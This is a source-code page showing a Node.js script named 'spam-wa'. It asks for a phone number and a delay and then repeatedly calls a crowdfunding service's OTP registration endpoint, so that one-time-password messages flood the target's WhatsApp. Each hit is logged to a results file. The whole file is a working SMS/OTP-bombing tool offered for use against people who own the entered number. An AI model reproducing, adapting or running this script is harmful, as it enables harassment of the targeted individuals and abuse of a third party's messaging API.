-
Notifications
You must be signed in to change notification settings - Fork 17
/
index.js
49 lines (42 loc) · 1.4 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* created by ibnusyawall
* name : spam-wa
* wa : 082299265151
**/
const request = require('needle')
const readline= require('readline')
const fs = require('fs')
const colors = require('colors')
const dateFormat = require('date-format')
const tanya = readline.createInterface({
input: process.stdin,
output: process.stdout
})
var date_ = dateFormat(new Date(), 'm-d-Y h:i:s');
var i = 1
console.log(`\n [ SPAM OTP wa KITABISA by STech ] \n `)
console.log(' FB : '+'@'.red+'ibnusyawal00'+' | Git : '+'@'.blue+'ibnusyawall\n')
tanya.question('['+'?'.magenta+'] Nomor : ', (_no_) => {
tanya.question('['+'?'.magenta+'] Delay : ', (_de_) => {
const main = (nomor, delay) => {
setTimeout(() => {
request(`https://core.ktbs.io/v2/user/registration/otp/${nomor}`, (error, response, body) => {
if (toString(body).match(/errors/gi)) {
console.log('['+'×'.red+'] Tunggu Gan .. ')
} else {
console.log(' -- ['+'√'.green+`] Sukses : ${nomor} [ delay : ${_de_}`+'s '.cyan+`]`)
fs.appendFile('./result.txt', `${nomor} : ${date_} \n`, function(err) {
if (err) throw err;
//console.log(' [√] success saved on result.txt')
})
}
})
i++
if (i <= delay) {
main(nomor, delay)
}
}, delay)
}
return main(_no_, `${_de_}000`)
})
})